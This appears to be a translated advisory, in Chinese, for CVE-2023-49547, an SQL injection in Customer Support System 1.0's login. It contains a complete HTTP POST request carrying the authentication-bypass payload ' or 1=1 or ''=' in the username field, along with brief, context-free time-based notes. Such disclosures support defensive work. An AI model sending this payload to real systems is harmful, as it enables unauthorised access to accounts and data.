描述：Customer Support System 1.0 存在 SQL 注入漏洞。该漏洞使远程未认证攻击者能够利用 username 参数绕过认证过程。
受影响产品版本：Customer Support System 1.0
CVE 作者：Geraldo Alcântara
日期：28/11/2023
确认日期：19/12/2023
CVE：CVE-2023-49547
测试环境：Windows
' or 1=1 or '')。请求：认证绕过：
POST /customer_support/ajax.php?action=login HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 54
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/login.php
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=abige9ar0b1bi3qcf9mkv258o3
username='+or+1%3D1+or+''%3D'&password=password&type=1
基于时间：
20 秒
基于时间：
2 秒
发现者/致谢：
Geraldo Alcântara